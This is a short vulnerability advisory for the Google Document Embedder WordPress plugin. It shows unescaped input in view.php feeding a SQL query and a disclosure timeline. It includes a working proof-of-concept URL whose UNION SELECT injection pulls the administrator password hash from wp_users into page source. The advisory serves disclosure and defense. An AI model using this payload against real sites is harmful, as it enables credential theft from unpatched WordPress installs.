$_GET['gpid']
is not escaped.
File: google-document-embedder\view.php
// get profile
if ( isset( $_GET['gpid'] ) ) {
if ( $profile = gde_get_profile( $_GET['gpid'] ) ) {
$tb = $profile['tb_flags'];
$vw = $profile['vw_flags'];
$bg = $profile['vw_bgcolor'];
$css = $profile['vw_css'];
}
}
We control $id
:
File: google-document-embedder\view.php
function gde_get_profile( $id ) {
global $wpdb;
$table = $wpdb->prefix . 'gde_profiles';
$profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A );
$profile = unserialize($profile[0]['profile_data']);
if ( is_array($profile) ) {
return $profile;
} else {
return false;
}
}
$css
is displayed on website.
File: google-document-embedder\view.php
if ( ! empty( $css ) ) {
$cssblock = '<link rel="stylesheet" type="text/css" href="'.$css."\">\n</head>";
$search[] = "</head>";
$replace[] = $cssblock;
}
Proof of Concept
http://wordpress-install/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1
User pass will be visible on page source:
<link rel="stylesheet" type="text/css" href="%SELECTED_USER_PASS%">
Timeline
- 10-11-2014: Discovered
- 10-11-2014: Vendor notified
- 11-11-2014: Version 2.5.15 released, issue resolved